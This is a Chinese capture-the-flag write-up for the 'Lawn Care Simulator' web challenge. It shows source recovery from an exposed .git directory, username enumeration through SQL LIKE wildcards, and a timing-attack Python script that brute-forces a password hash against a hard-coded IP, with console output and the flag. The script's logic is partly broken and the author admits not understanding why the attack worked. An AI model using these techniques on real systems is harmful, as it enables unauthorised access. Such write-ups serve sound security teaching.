问题
Lawn Care Simulator是一个用来显示小草生长过程的简单网页应用。它包含了许多有价值的内容,但是需要我们进行登录才能获取。
然而,无法进行注册操作,如果我们不能进行注册那么就没有其他方法去登录。
0×01 探寻.git仓库
从index.html的源代码中我们发现有一个AJAX请求Git仓库,接着我们可以在远程服务器利用.git文件。
随着下面SHA-1 Git objects hash,我们可以找到并下载源文件(不幸的是,并非全部)。
下面为哈希树:
$ git cat-file -p aa3025bdb15120ad0a2558246402119ce11f4e2e tree 731924d14616f3f95c1d75e822a6a97a69f1a32f author John G <[email protected]> 1442602067 +0000 committer John G <[email protected]> 1442602067 +0000 I think I'll just put mah source code riiiiighhhht here. Perfectly safe place for some source code.
以及内容树:
$ git cat-file -p 731924d14616f3f95c1d75e822a6a97a69f1a32f 100644 blob 4bcb0b3cf55c14b033e3d7e0a94b6025f6956ec7 ___HINT___ 100644 blob 43d1df004d9cf95f2c5d83d2db3dcf887c7a9f2f index.html 100644 blob 27d808506876eeb41d6a953ac27f33566216d25f jobs.html 040000 tree 220a9334b01b77d1ac29b7fd3a35c6a18953a96d js 100644 blob 73009145aac48cf1d0e72adfaa093de11f491715 premium.php 100644 blob 8e4852023815dc70761e38cde28aebed9ec038e3 sign_up.php 100644 blob 637c8e963a5fb7080ff639b5297bb10bca491bda validate_pass.php
文件提示中没有任何有用的信息,但是我们可以先分析下一些文件的源代码,几分钟之后我们基本上确定了几个关键点。
1.注册页面无法正常工作,但是我们可以试着猜测/寻找已经注册好的帐号。
$user = mysql_real_escape_string($_POST['username']); // check to see if the username is available $query = "SELECT username FROM users WHERE username LIKE '$user';"; $result = mysql_query($query) or die('Query failed: ' . mysql_error()); $line = mysql_fetch_row($result, MYSQL_ASSOC); if ($line == NULL){ // Signing up for premium is still in development echo '<h2 style="margin: 60px;">Lawn Care Simulator 2015 is currently in a private beta. Please check back later</h2>'; } else { echo '<h2 style="margin: 60px;">Username: ' . $line['username'] . " is not available</h2>"; }
2.登录页面正常工作,但我们需要找到正确的用户名并尝试通过身份验证,最后进入后台拿到旗子。
require_once 'validate_pass.php'; require_once 'flag.php'; if (isset($_POST['password']) && isset($_POST['username'])) { $auth = validate($_POST['username'], $_POST['password']); if ($auth){ echo "<h1>" . $flag . "</h1>"; } else { echo "<h1>Not Authorized</h1>"; } } else { echo "<h1>You must supply a username and password</h1>"; }
0×02 寻找用户名
从sign_up.php中找到以下几行:
$user = mysql_real_escape_string($_POST['username']); // check to see if the username is available $query = "SELECT username FROM users WHERE username LIKE '$user';";
mysql_real_escape_string()在这里是不能够进行SQL注入的,但正如我们看到的,我们可以尝试使用类似(% 或者 _)的特殊字符来绕过mysql_real_escape_string()
所以当我们尝试使用%%作为用户名进行注册,得到下面的截图。
相当于我们目前已经有用户名了,接着便是寻找密码了。
0×03 bruteforce密码验证
这个密码验证方式第一次遇到,有点棘手
if (strlen($pass) != strlen($hash)) return False; $index = 0; while($hash[$index]){ if ($pass[$index] != $hash[$index]) return false; # Protect against brute force attacks usleep(300000); $index+=1; } return true;
$hash的值来源于DB,$pass是来源于登录表单的密码进行MD5加密的hash值。首先检测长度,如果$pass的长度与$hash的长度不相等,验证直接返回false。因此,即使我们绕过了登录表单也需要发送32个字符(MD5 Hash)。
如果$hash和$pass相等,接着脚本一个字符一个字符检测,一阶差分之后返回正确与否。如果字符相同,等待0.3秒后检查下一个字符,这也是为什么我们选择bruteforce这个验证的原因了。
假设验证每个正确的字符与检查下一个字符之间有0.3秒的时间,我们可以在MD5字符串中从首字符开始比较所有的单个字符(在本例中有少许16进制数字)。为此我写了一个简单Python脚本,它只是从0~f(16进制)创建32个字符的字符串并发送到服务器。
#!/usr/bin/python import requests import sys headers = { "Referer": "http://54.175.3.248:8089/", "Content-type": "application/x-www-form-urlencoded", "Host": "54.175.3.248:8089" } def send_request(current_password): payload = {"username": "~~FLAG~~", "password": current_password} r = requests.post("http://54.175.3.248:8089/premium.php", headers=headers, data=payload) return r.elapsed.total_seconds() charset = "abcdef0123456789" final_password = sys.argv[1] current_password = "" s = "" for c in charset: current_password = final_password + c + "-" * (31 - len(final_password)) # send payload and check response time, avg from 3 probes print "sending payload with password: {}".format(current_password) t = send_request(current_password) print "time for {} - {}".format(c, t) final_password += s print "\n\ncurrent final password: {} ({} chars)\n\n".format(final_password, len( final_password))
花了些时间,但最后我还是从FLAG用户名密码的MD5 hash中找到10个首字符。当我发送我获得的旗子,下面控制台输出的是样本尝试667后面的字符,脚本显示第4个字符'e'超过了平均时间,后面那个脚本输出是从667e217666开始,时间没有改变。
$ ./pass_time_check.py 667 sending payload with password: 667a---------------------------- time for a - 1.206054 sending payload with password: 667b---------------------------- time for b - 1.1628 sending payload with password: 667c---------------------------- time for c - 1.123849 sending payload with password: 667d---------------------------- time for d - 1.123673 sending payload with password: 667e---------------------------- time for e - 1.533342 sending payload with password: 667f---------------------------- time for f - 1.123596 sending payload with password: 6670---------------------------- time for 0 - 1.12424 sending payload with password: 6671---------------------------- time for 1 - 1.139995 sending payload with password: 6672---------------------------- time for 2 - 1.209023 sending payload with password: 6673---------------------------- time for 3 - 1.122856 sending payload with password: 6674---------------------------- time for 4 - 1.123731 sending payload with password: 6675---------------------------- time for 5 - 1.124603 sending payload with password: 6676---------------------------- time for 6 - 1.122691 sending payload with password: 6677---------------------------- time for 7 - 1.12402 sending payload with password: 6678---------------------------- time for 8 - 1.123192 sending payload with password: 6679---------------------------- time for 9 - 1.1241 $ ./pass_time_check.py 667e217666 sending payload with password: 667e217666a--------------------- time for a - 3.317382 sending payload with password: 667e217666b--------------------- time for b - 3.274132 sending payload with password: 667e217666c--------------------- time for c - 3.376334 sending payload with password: 667e217666d--------------------- time for d - 3.273846 sending payload with password: 667e217666e--------------------- time for e - 3.274608 sending payload with password: 667e217666f--------------------- time for f - 3.27328 sending payload with password: 667e2176660--------------------- time for 0 - 3.213485 sending payload with password: 667e2176661--------------------- time for 1 - 3.234123 sending payload with password: 667e2176662--------------------- time for 2 - 3.272356 sending payload with password: 667e2176663--------------------- time for 3 - 3.274707 sending payload with password: 667e2176664--------------------- time for 4 - 3.27386 sending payload with password: 667e2176665--------------------- time for 5 - 3.272986 sending payload with password: 667e2176666--------------------- time for 6 - 3.27506 sending payload with password: 667e2176667--------------------- time for 7 - 3.274545 sending payload with password: 667e2176668--------------------- time for 8 - 3.273122 sending payload with password: 667e2176669--------------------- time for 9 - 3.290462
667e217666响应时间不再改变后,我决定添加了一些随机字符试试:
最后获得flag:gr0wth__h4ck!nG!1!1!
我没搞懂为什么在10个字符之后才开始工作,我个人猜测可能是某种预验证机制吧。在代码中我们看不到,并且在CTF夺旗赛中毕竟是看谁最先拿到旗子。
一千个人心中有一千个哈姆雷特,大家多发散思维或许还有其他的思路呢!
激情地址:http://54.165.252.74:8089/
* 参考来源:github, 鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)